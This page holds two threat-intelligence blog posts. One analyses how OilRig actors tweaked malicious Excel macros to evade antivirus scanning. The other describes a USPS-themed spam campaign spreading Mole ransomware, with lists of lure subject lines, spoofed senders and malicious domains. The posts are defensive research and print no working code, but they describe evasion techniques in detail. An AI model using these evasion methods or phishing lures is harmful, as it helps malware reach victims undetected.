Page 61 – Unit 42

OilRig Actors Provide a Glimpse into Development and Testing Efforts

Posted on April 27, 2017November 1, 2018 by Robert Falcone

Throughout an attack campaign, actors will continue to develop their tools in an attempt to remain undetected and to carry out multiple attacks without having to completely retool. In regard to the attack lifecycle, development of tools occurs in the weaponization/staging phase that precedes the delivery phase, of which is typically the first opportunity we see the actors’ activities as they interact directly with their target. We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign, a campaign Unit 42 has been following since May 2016. Recently we were able to observe these actors making modifications to their ClaySlide delivery documents in an attempt to evade antivirus detection.

We have identified two separate testing efforts carried out by the OilRig actors, one occurring in June and one in November of 2016. The sample set associated with each of these testing activities is rather small, but the changes made to each of the files give us a chance to understand what modifications the actor performs in an attempt to evade detection. This testing activity also suggests that the threat group responsible for the OilRig attack campaign have an organized, professional operations model that includes a testing component to the development of their tools.

Testing Activity, Analysis, and Methodology

We collected two sets of ClaySlide samples that appear to be created during the OilRig actor’s development phase of their attack lifecycle. The threat actor uploaded each of these files to a popular antivirus testing website to find out which vendors detected the file. The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection. The flowchart in Figure 1explains the process in which the threat actors followed during their testing activities.

Figure 1 Flowchart describing the testing process carried out by OilRig actor

Lucky for us, the threat actors do not modify the metadata within their delivery documents, which allows us to determine when the actor last modified each Word document. These untainted timestamps allow us to create a timeline that we can use to order the files as they were created by the actor. Our analysis methodology involves iteratively comparing each file with the next file in the timeline to determine the changes the actor made to the first file that resulted in the creation of the second file.

The first testing activity we observed began with an initial sample created on June 13, 2016 with 17 subsequent files created for testing purposes that the actor created in a two-hour period on June 15, 2016. Table 1shows the samples we observed associated with the June 2016 testing activity, including the iteration, the last modified timestamp, the hash, the filename, and the antivirus detection rate of the newly created file. The first “ttt.xls” file and the files with incrementing filenames have the same decoy contents, which is the reason we initially included this sample with this group despite the difference in naming. Also, the filename “ttt.xls” contains the acronym for “to the top”, which is common usage in Internet forums and could depict the actor starting testing activities.

Iteration	Modified	SHA256	Filename	AV
Base	2016:06:13 05:28:32	742a52084162d3789e19...	ttt.xls	4
1	2016:06:15 05:24:25	f1de7b941817438da2a4...	1.xls	6
2	2016:06:15 05:28:11	b142265bb4b902837d83...	2.xls	0
3	2016:06:15 05:30:45	2e226a0210a123ad8288...	3.xls	2
4	2016:06:15 05:33:11	299bc738d7b0292820d9...	4.xls	4
5	2016:06:15 05:39:55	6e62308b94455569b8a1...	5.xls	2
6	2016:06:15 05:42:20	d64b46cf42ea4a7bf291...	6.xls	1
7	2016:06:15 05:47:09	77f8a267357a8d237e0b...	8.xls	1
8	2016:06:15 05:52:50	92f429b6f9b8031b5fc6...	9.xls	3
9	2016:06:15 05:55:01	c2a386723d8f203e1228...	10.xls	2
10	2016:06:15 05:57:50	2fb6bce8fc2f531de183...	11.xls	2
11	2016:06:15 06:00:24	75b033a40a756e2536d0...	12.xls	2
12	2016:06:15 06:10:46	8bb8f2bada27d14be021...	13.xls	1
13	2016:06:15 06:13:30	3af6dfa4cebd82f48b66...	14.xls	2
14	2016:06:15 06:16:27	82239a4e18a67f7b2ba0...	15.xls	2
15	2016:06:15 06:19:45	938101a1a336ce0fff57...	16.xls	2
16	2016:06:15 07:02:49	5e9ddb25bde3719c392d...	ttt.xls	4
17	2016:06:15 07:39:53	4190a8b8e6fa7bc37712...	ttt.xls	0

Table 1 Samples associated with the June 2016 testing activities

The second testing activity of ClaySlide delivery documents began with the actor creating a base sample on November 14, 2016, followed by six subsequent test files created within a 30-minute window on the following day. Table 2 shows the pertinent information related to the ClaySlide testing activity that occurred in November 2016. Again, there was an obvious difference in filenames at the beginning of this activity, but we included the first two samples in with this group based on the first two files initially sharing decoy contents, but more importantly sharing the same macro code and payload scripts as the initial testing sample with the filename of “weak.xls”.

Iteration	Modified	SHA256	Filename	AV
Base	2016:11:14 04:15:57	ae40262d5fad4bc48066...	Tables[Update].xls	5
1	2016:11:15 07:53:50	16880db37c35d4b28e68...	33.xls	5
2	2016:11:15 07:56:09	47054a8d380c197a7f32...	weak.xls	5
3	2016:11:15 08:05:52	e9ccf7a3c1e24f173ae9...	weak.xls	3
4	2016:11:15 08:12:11	e3c6f13dc3079a828386...	weak.xls	3
5	2016:11:15 08:14:35	427ce6b04d4319eeb84d...	weak.xls	2
6	2016:11:15 08:19:55	18b603495f8344c02468...	weak.xls	2

Table 2 Samples associated with the November 2016 testing activity

By analyzing the changes made to the ClaySlide delivery document during these two separate testing activities we were able to gain insight into the techniques used by the actors during the testing. Before reviewing the activities performed in the two testing sessions, the following high level observations can be made:

Patterns in filenames emerge, with testing files having the same word or incrementing numbers for the filenames, or a set of testing files sharing the same exact filename
Very structured approach, using a baseline test sample followed by small iterative changes
Actor may also revert back to the baseline test sample and continue testing
Changes made only a few minutes apart and can involve:
- Removal or location change of payload
- Modified decoy contents and sheet names
- Changes to function and variable names
- Removal of entire lines of code
- Obfuscating strings via concatenation or an alternate encoding (base64 or hexadecimal)
- Reordering of functions in the code
In many cases, testing files are no longer functional due to:
- Removal of a required component(s)
- Replacement of variables with nonsensical values
- Use of encoded strings without ability to decode
Testing activities ceases with a very low antivirus detection rate
The number of vendors detecting the samples increases and decrease throughout the testing as the actor attempts to determine what the detection signatures are triggering on

June 2016 Testing Activity

In June 2016, an actor related to the OilRig campaign began a series of testing activities in an attempt to determine the portions of the ClaySlide macro code that antivirus vendors were using for detection purposes. These activities resulted in 17 different iterations of the ClaySlide delivery document, many of which no longer run properly due to the changes made within the files. We have included an exhaustive analysis of the June 2016 testing activity in Appendix A.

In the June testing, the actor started by removing the malicious payload from the Excel delivery document to focus their testing on the malicious macro. The actor made many iterative changes during their testing of the macro, however, the actor began these changes by completely removing a block of the code that was responsible for saving the payload to the system and for creating the scheduled task to run the payload. The removal of this code brought the detection rate to 0, which told the actor that the antivirus detection rules were detecting these files based on these lines of code. The actor spent most of their subsequent efforts modifying portions of this code.

Now that the actor knew the portion of the code that caused antivirus detection, the actor added that portion of the code back to the macro and made changes in attempt to determine the exact line of code that was detected. This process involved changing the commands used to create the payload and the scheduled task. The changes made to these two commands involved their complete removal, their replacement with non-functioning strings such as keyboard mashing and their equivalent strings in a variety of different encodings, including base64 and hexadecimal representation. The actor also changed the way these commands were executed as well, specifically by either using the WScript.Shell object directly or the object stored in a variable. The actor also uses intentional misspelling of commands, such as “poawearshell” and “scshtassks”, as well as variations to the filenames for the payloads, such as “firaeeye.vbs” instead of “fireeye.vbs”.

After making changes to the commands above, the actor shifted their focus onto changing the function names within the macro, which did not result in any change in the detection rate. After a 40-minute break, it appears the actor reverts to the base macro instead of modifying the previously created test file. Again, the actor modifies the code in the base macro responsible for saving and running the payload, but this time the actor changes the folder names it creates for the payload to store its generated files. Also, the two files generated during these activities that occurred after the actor reverted back to the base macro had keyboard-mashed strings for their decoy contents, which differed dramatically from the previous test files. During the entirety of this testing activity, the antivirus detection rate reached a high of 6 but ended with a zero vendors detecting the sample when the actor ceased testing activities, which suggests that the actor was satisfied with this result. However, we do not see conclusive evidence to suggest that the actor was attempting to evade a specific antivirus vendor.

November 2016 Testing Activity

On November 15, 2016, an actor related to the OilRig campaign began testing the ClaySlide delivery documents. While the testing activities in June began with the removal of the payloads from the delivery document, the files generated during the November testing all retained their Helminth payloads, all of which were the same payload that use the C2 domain of “updateorg[.]com”. We have included an exhaustive analysis of the November 2016 testing activity in Appendix B.

In the November testing, the actor appears to initially focus on making modifications to the Excel worksheet that contains the decoy contents. The changes made to the worksheet involved adding random strings to cells within the decoy, to changing the names of the worksheets themselves. Eventually, the actor completely changes the contents of the decoy to a different theme entirely, from a decoy containing routing settings to a list of weak passwords.

In addition to making changes to the Excel worksheets that contain the decoy content, the actor also made changes to the worksheet that is initially displayed to the user. Taking a step back, as discussed in the Appendix in our initial OilRig blog, ClaySlide delivery documents initially open with a worksheet named “Incompatible” that displays content that instructs the user to “Enable Content” to see the contents of the document, which in fact runs the malicious macro and compromises the system. When the macro runs, it hides the “Incompatible” worksheet and displays the worksheet that contains the decoy document. The actor modified the “Incompatible” worksheet to include random strings, which appears to be an attempt to see if detection rules are using the hash of this sheet for detection purposes.

Meanwhile, during these changes to the “Incompatible” worksheet, the actor is also making changes to the malicious macro as well. The actor began changing the function names in the malicious macro from “Doom_Init” and “Doom_ShowHideSheets” to “Doon_Init” and “Doon_SHSheet” to “Ini” and “SHSheet”. At one point, the actor changed the order of the functions in the macro to see if it was the cause of detection. The actor also changed the variable name used to store the VB script used to run the Helminth payload from “BackupVbs” to “Backup_Vbs”.

Another change made during these testing activities involved the actor splitting the command needed to create the scheduled task in several strings and concatenating them back together. This technique is interesting, as the resulting command is still functional which differs dramatically from the modifications seen in the June testing where the commands were changed to a point where they were no longer operational.

The last change made to the malicious macro is the locations in which the macro obtains the payload. In all ClaySlide delivery documents, the macro obtains scripts related to the Helminth Trojan from specific cells within the “Incompatible” worksheet. By changing the cells containing the scripts, the actor is checking to see if detection rules are looking for scripts at these specific locations. By the time the threat actor ceased this testing activity, the actor had lowered the detection rate of the ClaySlide delivery document to 2, suggesting this was a satisfactory result. Like the June testing activity, we do not see conclusive evidence of the threat actor attempting to evade a specific antivirus vendor in the November testing.

Conclusion

The threat actors involved with the OilRig attack campaign have shown part of their playbook that involves testing and modifying their delivery documents prior to use in attacks. The purpose of these modifications is to evade detection from security products to extend the usage of their ClaySlide delivery documents. By analyzing these testing activities, we gain some helpful insight into the OilRig actors, specifically that this threat group is fairly mature from an operational standpoint and the fact that they hope to use their delivery documents as long as possible.

We were already aware of this threat group making modifications to their ClaySlide delivery document that we discussed in our previous blog. Now we know that there is an organized process involved that results in these changes, rather than the threat actor arbitrarily making changes to parts of the delivery documents, such as filenames and payload behavior. This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective.

Appendix A

This appendix contains an in-depth analysis of each iteration of testing activity carried out by the OilRig actors in June 2016. We provide screenshots and diffs between files (when available) to visualize the modifications made during the iteration.

Iteration 1

The actor removed all but three bytes from the VBS and PowerShell scripts, while the macro itself remains unchanged. This suggests that the delivery document no longer contains the malicious payload (Helminth scripts) used to infect the system. By removing the payload from the delivery document, the actor can isolate antivirus detection results based on the delivery document itself. Also, without the payload the samples no longer have some attributes and entities that security researchers typically use to correlate samples to a specific threat group, such as the C2 server of “update-kernal[.]net” that was in the payload in the base sample.

With the payload removed, the actor focuses their efforts in subsequent iterations on modifying the macro within the delivery document.

Iteration 2

The actor completely removed code that is responsible for a majority of the functionality within the macro. The code removed, as seen in Figure 2, is responsible for the following:

Creating folders
1. \Libraries\up
2. \Libraries\dn
3. \Libraries\tp
Running a PowerShell command to create
1. PowerShell script
2. VB script
Running a command to create a scheduled task to run the VB script

Figure 2 Changes made in Iteration 2

Iteration 3

The actor adds the content removed in the previous iteration. However, the line of code responsible for running the command to create the scheduled task to run the VB script was omitted. This suggests the threat actor was testing to see if vendors were detecting ClaySlide samples based on this line within the macro.

Figure 3 Changes made in Iteration 3

Iteration 4

The actor adds the line of code omitted from the previous iteration, suggesting this specific code was not used for detection purposes. The actor also changed the method in which it calls the PowerShell script in the “cmd” variable, by using a “WScript.Shell” object stored in the “wss” variable instead of creating a new “WScript.Shell” object.

Figure 4 Changes made in Iteration 4

Iteration 5

The actor base64 encoded the contents of the ‘cmd’ variable that stored a command to invoke a PowerShell script that would save the payload to the filesystem. Also, the actor changed the command to create the scheduled task to be base64 encoded as well. These alterations do not come with a base64 decoding routine, suggesting that the sample generated in this iteration would result in an error. The lack of a decoding routine suggests that the actor does not waste time making sure the code actually works, as they could add code to support these changes.

Figure 5 Changes made in Iteration 5

Iteration 6

The actor tests to see if the base64 encoded strings added in the previous iteration were detected by removing these strings and leaving the two command strings empty.

Figure 6 Changes made in Iteration 6

Iteration 7

The actor adds the base64 encoded string for “powershell.exe” within the ‘cmd’ variable and in place of the command to create the scheduled task.

Figure 7 Changes made in Iteration 7

Iteration 8

The actor replaces the first base64 for “powershell.exe” with the base64 encoded string to run the PowerShell command, but replaces the second “powershell.exe” with the cleartext string to create the scheduled task. The base64 encoded PowerShell command is similar to those seen in previous iterations. However, the actor changed one of the filenames used to save the payload to “firaeeye.vbs” (from “fireeye.vbs”) and references a variable named “FireeayeVbs” (from “FireeyeVbs”) that does not appear in the code.

Figure 8 Changes made in Iteration 8

Iteration 9

The actor replaces the cleartext string to create the scheduled task with the base64 encoded version of the string. However, the base64 encoded string changes the name of the created task from “GoogleUpdatesTaskMachineUI” to “GoosgleUpdatesTaskMachineUI” and the script name from “fireeye.vbs” to "fireeyse.vbs".

Figure 9 Changes made in Iteration 9

Iteration 10

The actor makes changes to the base64 encoded strings that used as a command to use PowerShell to install the payload and to schedule a task to run the payload. The base64 encoded PowerShell command reintroduces the filename “fireeye.vbs” and the variable name “FireeyeVbs”, both of which were changed in iteration 8; however, the base64 encoded command uses the string “poawearshell” instead of “powershell”.

As for the base64 string used to create the scheduled task, the actor reintroduced the scheduled task name of “GoogleUpdatesTaskMachineUI” and script filename of “fireeye.vbs”, which were changed in iteration 9. However, the actor uses the string “scshtassks” to see if the “schtasks” string was being detected.

Figure 10 Changes made in Iteration 10

Iteration 11

The actor changed the base64 encoded strings within the ‘cmd’ variable and the string used to create the scheduled task. Instead of including the base64 encoded string of the PowerShell and create task command, the actor replaced these strings with the base64 encoded representation of the following string:

source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-
research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-

research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

The string above contains a link to a FireEye blog that provided an analysis of this delivery document. It should be noted that the following non-encoded string was included in previous samples as a comment within the macro:

'source code from https://www.fireeye.com/blog/threat-research/2016/05/tareted_attacksaga.html

Figure 11 Changes made in Iteration 11

Iteration 12

The actor replaced the base64 strings within the ‘cmd’ variable and the string to create the scheduled task with randomly typed letters. It appears the actor performed two-handed keyboard mashing to generate the strings used in these variables.

Figure 12 Changes made in Iteration 12

Iteration 13

The actor changed the randomly typed keys in the ‘cmd’ and the string for creating the scheduled task with the base64 strings from two iterations back. However, the base64 strings were added between opening and closing brackets.

Figure 13 Changes made in Iteration 13

Iteration 14

The actor changed the base64 encoded strings used for the PowerShell command and the command to create a scheduled task from the last iteration to a hexadecimal string. The string contains the hexadecimal representation of the characters that make up the command to create the scheduled task, which was last seen in Iteration 4. Again, the script does not contain decoding functions to decode the hexadecimal values to the correct characters, therefore this script is not functional.

Figure 14 Changes made in Iteration 14

Iteration 15

The actor changed the two function names that are run when the Excel document is opened. In all prior iterations, these function names were “fireeye_Init” and “fireeye_ShowHideSheets”, which are responsible for installing the Trojan and displaying the decoy contents within the Excel spreadsheet, respectively. The actor changed these two function names to “fireeye_Init2” and “fireeye_ShowHideSheets3” to determine if the function names were being detected by antivirus products.

Figure 15 Changes made in Iteration 15

Iteration 16

This iteration is very interesting, as we believe the actor reverts back to the base document instead of making changes to the document created in the previous iteration.

The filename changed from an incrementing number to “ttt.xls”, which is the same filename as the base document. Also, when we compared the sample from the previous iteration, there were a number of changes seen here:

Figure 16 Changes made in Iteration 16 if compared with the file in Iteration 15

However, if you compare the file created in this iteration with the base file, the number of and type of changes seem to align closer to the modifications performed in previous iterations. If the actor reverted to the base document as we suspect, then modifications were made to the script filename, the folder names that store files generated by the payload, as well as the method the script invokes the PowerShell script. The actor changed the script filename from “fireeye.vbs” to “fireueye.vbs”, changed the “up”, “dn” and “tp” folder names to “uup”, “dgn” and “tup” and uses the “WScript.Shell” object stored in the “wss” variable instead of creating a new “WScript.Shell” object to run the command.

Figure 17 Changes made in Iteration 16 if actor reverted to the base file

Iteration 17

In the last iteration of this testing activity, the actor changed some of the modifications made in the previous iteration back to the values used in the base document, specifically the filenames and folder names. However, the actor also adds a new variable to store the “%PUBLIC%” environment variable that the script uses as the path to store the “fireeye.vbs” script and the folders that the payload would use. This iteration also includes a modified PowerShell command that attempts to run a command stored in the “fireeye.vbs” file, but does not include the portion of the command that would write the script to that file. The actor also removed the line that would run the command to create the scheduled task to run the VB script.

Figure 18 Changes made in Iteration 17

Appendix B

This appendix contains an in-depth analysis of each iteration of testing activity carried out by the OilRig actors in November 2016. We provide screenshots and diffs between files (when available) to visualize the modifications made during the iteration.

Iteration 1

In the first iteration of this testing, the actor changed the decoy content from the base sample. At a high level, the decoy contents contained commands to configure a Cisco router with static routes and other settings. Originally, the base test file used in this testing activity contained just these configuration settings in an Excel worksheet named “Sheet1”, as seen in Figure 19.

Figure 19 Original decoy contents found in the base test file

In the first iteration of testing, the actor changed the worksheet name that contains the decoy content from “Sheet1” to “hgvc” and added a string to the worksheet “jgvchhctf”, as seen in Figure 20. We believe the threat actor is attempting to determine if the worksheet name or the hash of the decoy worksheet were causing antivirus detection.

Figure 20 Changes made to the decoy contents in Iteration 1

Iteration 2

The actor then changed the name of the worksheet that contains the decoy content from “hgcv” to “table” and completely changed the decoy content from the Cisco routing settings to a list of weak passwords, as seen in Figure 21. We believe this is the threat actor testing the new decoy content that they will use in an upcoming attack.

Figure 21 New decoy contents introduced in Iteration 2

Iteration 3

Following the lead of previous iterations, the actor made modifications to the content in the Excel worksheet; however, in this iteration the changes were not made to the decoy worksheet, rather the change was made to the initial worksheet called “Incompatible” that displays the message to instruct the user to enable content to run the macro. As seen in Figure 22, the actor adds the string “yy” to this worksheet to determine whether antivirus vendors were detecting Clayslide documents based on this worksheet.

Figure 22 Changes made to the Incompatible worksheet in Iteration 3

The actor also made modifications to the macro in this iteration, specifically by changing function names and by splitting up strings and concatenating them back together. The function names in the macro “Doom_Init” and “Doom_ShowHideSheets” were changed to “Doon_Init” and “Doon_SHSheet” to determine if these function names were causing detection. Also, the actor split the word “powershell” in the commands within the macro and concatenated them together to retain functionality.

Figure 23 Changes made to the macro in Iteration 3

Iteration 4

Much like the previous iteration, the threat actor makes changes to the Incompatible worksheet and the code within the macro. First, the threat actor added the string “hi” to two cells within the initially displayed Incompatible worksheet, as seen in Figure 24.

Figure 24 Changes made to the Incompatible worksheet in Iteration 4

The actor also made modifications to the macro in this iteration, as seen in Figure 25. The actor changed the two function names from “Doon_Ini” and “Doon_SHSheet” to “Ini” and “SHSheet” respectively. Also, the actor changed the variable name that stores the VB script obtained from the spreadsheet from “BackupVbs” to “Backup_Vbs”, and modified the PowerShell command to use this new variable as well. Lastly, the actor further split the name of the created task using concatenation to retain functionality.

Figure 25 Changes made to the macro in Iteration 4

Iteration 5

In this iteration, the actor rearranges the order of the functions in the script, specifically putting the “Ini” function before the “SHSheet” function. Figure 26 shows this function reordering.

Figure 26 Changes made to the macro within Iteration 5

Iteration 6

In the final iteration of testing, the actor moves the base64 encoded VB Script and the two base64 encoded PowerShell scripts to three different cells within the Incompatible worksheet. The actor also changes the macro to access the base64 encoded strings from these new locations, which retains the functionality of this document.

Figure 27 Changes made to the macro in Iteration 6

Mole Ransomware: How One Malicious Spam Campaign Quickly Increased Complexity and Changed Tactics

Posted on April 25, 2017January 28, 2022 by Brad Duncan

On April 11th 2017, we saw a new malicious spam campaign using United States Postal Service (USPS)-themed emails with links that redirected to fake Microsoft Word online sites. These fake Word sites asked victims to install malware disguised as a Microsoft Office plugin.

This campaign introduced a new ransomware called Mole, because names for any encrypted files by this ransomware end with .MOLE. Mole appears to be part of the CryptoMix family of ransomware since it shares many characteristics with the Revenge and CryptoShield variants of CryptoMix.

The campaign quickly changed tactics and increased complexity.

After two days on April 13, 2017, the attackers behind these fake office plugins changed the format and began including additional malware. Along with Mole ransomware, victims would be infected with both Kovter and Miuref. Then, on the following day, April 14, 2017, the attackers stopped using a redirect link in the malicious spam and instead linked directly to a fake Word online site. Figure 1 shows the attackers' changing tactics from Tuesday April 11, 2017 through Friday April 14, 2017.

Figure 1: Changing tactics April 11 - April 14, 2017

April 11th - Introducing Mole Ransomware

From Tuesday April 11th to the early hours of Wednesday April 12th, the fake Word Online used Google Docs links to provide Mole ransomware disguised as an Office plugin. Criminals behind this campaign abused Google Docs to provide a link for an executable file. File names were plug-in.exe or plugin.exe. Figure 2 shows how these fake Microsoft Word Online documents would attempt to lure users into downloading the Mole ransomware.

Figure 2: Fake Microsoft Word Online site with link to a Google Documents URL with the ransomware.

After downloading the executable, the infection chain is straight-forward. The victim executes the ransomware and infects his or her Windows computer. The mechanics behind a Mole ransomware infection have already been covered at the Internet Storm Center (ISC) and Bleeping Computer. Figure 3 shows the April 12 Mole ransomware in action.

Figure 3: Desktop of a Windows host infected with Mole ransomware on April 12th

April 13th - Introducing .js Files and Additional Malware

By Thursday April 13, 2017, this campaign changed tactics. The fake Microsoft Word Online sites no longer used a Google Docs URL to provide their malware. Instead, the malware was sent as a zip archive directly from the compromised site being used as a fake Microsoft Word Online page. The zip archives contained JavaScript (.js) files designed to infect Windows computers with Mole ransomware and additional malware.

The Figures 4 and 5 below illustrate the newer format used for malware infections by this campaign, where the new file is a zip archive named plugin.zip that contains a .js-based downloader named plugin.js.

Figure 4: Fake Microsoft Word Online site later on April 13th with link to a zip archive instead of an executable

Figure 5: The zip archive contains a .js file

The plugin.js is a type of file downloader commonly called a Nemucod. This .js file downloads and installs three Windows executable files named exe1.exe, exe2.exe, and exe3.exe as shown below in Figure 6.

Figure 6: Plugin.js installing 3 items of malware as shown in a reverse.it analysis

Network traffic generated by this infection is similar to Nemucod downloaders we have seen from other campaigns. In Figure 7 below, you can see URLs for exe1.exe, exe2.exe, and exe3.exe from forum-turism.org.ro.

Figure 7: Traffic from an infection filtered in Wireshark

The three items of follow-up malware are named exe1.exe, exe2.exe, and exe3.exe. In the early days of this campaign, they have been Mole ransomware, Kovter, and Miuref, respectively.

The Emails

Figure 8: An example of the malicious spam from Thursday April 13th

Emails from this campaign follow the same format as originally reported from Tuesday April 11, 2017. Figure 8 above shows an example email. They have a variety of subject lines, spoofed sending email addresses, and message text. Through Thursday April 13, 2017, the URLs were different for each message. By Friday April 14th, these emails were linking directly to the fake Microsoft Word Online pages, so the URLs for that day were the same.

Conclusion

Most large-scale malicious spam campaigns tend to stick with operating patterns that are much easier to identify and track. This particular campaign has evolved more quickly than we usually see. Such changing tactics are likely a way to avoid detection.

And this campaign continues to evolve. By Tuesday April 18, 2017, it stopped distributing Mole ransomware, and it began pushing the KINS banking Trojan with Kovter and Miuref. By Friday April 21, 2017, this campaign moved from USPS-themed emails to messages about speeding tickets, and it began utilizing a fake parking services website.

Why did we stop seeing Mole ransomware? Because families of ransomware are constantly changing. CryptoMix variants like Mole rarely stay around for more than a few weeks before being repackaged and distributed as a new variant. The samples of Mole ransomware we have identified so far are tagged in AutoFocus using the MoleRansomware tag.

We will continue to investigate this activity for applicable indicators to inform the community and further enhance our threat prevention platform.

Indicators from this campaign

Subject lines:

ATTENTION REQUIRED: INFO ON YOUR IMPENDING REFUND
ATTENTION REQUIRED: INFORMATION ON YOUR LATEST REFUND
ATTENTION REQUIRED: you are legally obliged to review the status of your shipment
AUTOMATED letter: refund information
AUTOMATED notice in regards to your item's status
AUTOMATED notification: refund information
AUTOMATED notification: refund information
AUTOMATED USPS notification: your shipment has been postponed
AUTOMATED USPS OFFICIAL LETTER CONCERNING YOUR SHIPMENT
AUTOMATED USPS statement: your package has been delayed
AUTOMATIC letter: moneyback information
AUTOMATIC notice concerning your package's location
AUTOMATIC notice: refund information
AUTOMATIC notification in regards to your package's status
AUTOMATIC notification regarding your order's location
IMMEDIATE ATTENTION NEEDED: your parcel's been delayed
IMMEDIATE ATTENTION REQUIRED: your parcel's been delayed
IMPORTANT USPS customer support letter
IMPORTANT USPS REFUND INFO
IMPORTANT USPS REFUND INFORMATION
IMPORTANT USPS system notice
Major problems reported to the USPS support team
Major trouble reported to the USPS customer support
Official letter from USPS support team
Official letter in regards to your parcel
Official notice from USPS support team
Official notification concerning your package
Official notification from USPS
Official notification from USPS customer support team
OFFICIAL USPS MONEYBACK INFO REGARDING YOUR ITEM
OFFICIAL USPS MONEYBACK INFORMATION
Official USPS notification concerning your package
PROMPT ACTION NEEDED: your order's been delayed
PROMPT ATTENTION NEEDED: your item's been delayed
There has been an issue with your package
There's been an issue with your package
URGENT USPS customer support letter
URGENT USPS customer support notification
URGENT USPS MONEYBACK INFORMATION REGARDING YOUR ITEM
URGENT: notice of postponement of your order
USPS CLIENT IMPORANT NEW DETAILS REGARDING YOUR PACKAGE
USPS CLIENT IMPORANT NEW INFORMATION REGARDING YOUR ITEM
USPS customer support notification: your order has been postponed
USPS OFFICIAL LETTER regarding your parcel
USPS official letter: big problems with your shipment
USPS official letter: serious issues with your order
USPS official letter: serious problems with your shipment
USPS official notice: serious trouble with your parcel
USPS official notification: serious issues with your package
USPS system notice: your package has been delayed
USPS system notification: your package has been delayed
USPS URGENT LETTER concerning your item
USPS USER URGENT NEW INFO IN REGARDS TO YOUR PARCEL
WARNING: DETAILS ON YOUR IMPENDING REFUND
WARNING: INFORMATION ON YOUR LATEST REFUND
WARNING: ISSUES WITH YOUR SHIPMENT
WARNING: PROBLEMS WITH YOUR PACKAGE
WARNING: TROUBLE WITH YOUR ITEM
WARNING: TROUBLE WITH YOUR SHIPMENT
WARNING: you are legally obliged to check the status of your order

Spoofed sending addresses (not from the actual domains listed):

"USPS Delivery" <gyjkzau603@abramarketing.com>
"USPS Express Delivery" <ebosuey27523@westusa.com>
"USPS Ground Support" <sa67117644@bibik.com.sg>
"USPS Ground Support" <tijcucey17858440@thefringesalonandspa.net>
"USPS Ground Support" <wucyieal26@laurencehart.com>
"USPS Ground" <awfeoq42111421@theartofsmiles.com>
"USPS Ground" <emcijizu43@lornalloyd.co.uk>
"USPS Ground" <geavpet531656@travis-com.com>
"USPS Ground" <gelerina3705@shubhammetals.com>
"USPS Ground" <oe60568@laxsun.co.in>
"USPS Ground" <qwc6826628@symbionpharmacy.com>
"USPS Ground" <ranrays1371636@methowvalleynews.com>
"USPS Ground" <sosarrij87661705@intergsa.com.my>
"USPS Ground" <syapota57504662@simon-reid.co.uk>
"USPS Ground" <ymuzjmwy22030784@dvs.net>
"USPS Home Delivery" <ddixnuty272104@helendowsley.com.au>
"USPS Home Delivery" <ebeyzhmo3057833@premiereeye.com>
"USPS Home Delivery" <iix61312867@briarcliffstables.com>
"USPS Home Delivery" <ksacugo02105401@korabl-love.ru>
"USPS Home Delivery" <lzaikja068473@vintwine.com>
"USPS Home Delivery" <pfne3616038@heavyrods.com>
"USPS Home Delivery" <waj74534@rebeccasturdy.com>
"USPS Home Delivery" <xasa31221@nsksofia.eu>
"USPS Home Delivery" <xxgap86162407@sharethinkact.co.uk>
"USPS Home Delivery" <yuovior03871347@triplecores.com>
"USPS International" <kihuw88@rcoverdale.co.uk>
"USPS International" <oxioyo5221364@apazen.ro>
"USPS International" <tffmu810@egoldentriangle.com>
"USPS Parcels Delivery" <aawuprug810545@kylegbrown.com>
"USPS Parcels Delivery" <atza2045685@gsb.columbia.edu>
"USPS Parcels Delivery" <diaam8408270@isiamerica.com>
"USPS Parcels Delivery" <eabzs1@leonardgray.co.uk>
"USPS Parcels Delivery" <fyzojuxo46014074@kelleysindia.com>
"USPS Parcels Delivery" <iytkd87@svbbed.com>
"USPS Parcels Delivery" <uino7757@kentschool.cl>
"USPS Parcels Delivery" <vuijpyf0607532@o4icolombia.com>
"USPS Priority Delivery" <a53@websealinc.com>
"USPS Priority Delivery" <newer0780385@iguana-dms.com>
"USPS Priority Delivery" <vdymoi2584835@solind.com.au>
"USPS Priority Parcels" <r4448011@lovethatsmile.net>
"USPS Priority" <coy5@uchiyamagroup.com>
"USPS Priority" <huroim3@rickone.com>
"USPS Priority" <mau4087171@ask-sevgi.net>
"USPS Priority" <o57678@ibiza-real-estate.ru>
"USPS Priority" <oheeruak05250@nexusv.com>
"USPS Priority" <qoeq285@cottageindustriesinc.com>
"USPS Priority" <saayota4044706@garrett-hedlund.com>
"USPS SameDay" <rnoqoi60870482@bantenhosting.net>
"USPS Station Management" <jyee528@luciq.com>
"USPS Station Management" <xejmooa55752638@gayson.co.in>
"USPS Station Management" <zuealee038700@jacobsens.com>
"USPS Support Management" <cihiawru116425@raltrad.net>
"USPS Support Management" <fx7061835@coep.ufrj.br>
"USPS Support Management" <yenxee27@stela.org.br>
"USPS Support" <aumvic36@ariainsaat.com>
"USPS Support" <eetuwusj402634@e-senzaz.com>
"USPS Support" <i610245@baayadesign.com>
"USPS Support" <ifizy41225574@brianseger.com>
"USPS Support" <iqeyqozo35540355@wesleyvillagemacomb.com>
"USPS TechConnect" <vodiybwi72734156@hira.or.kr>

Links from the emails on Wednesday, April 12:

uspsaeyyuia158140.ideliverys[.]com/ioxoory254772
uspsbhusisoz75.ideliverys[.]com/aagupto83
uspsboodud3731016.ideliverys[.]com/rzgyjotv3883685
uspsekakozq20701607.ideliverys[.]com/ciyjfm1453247
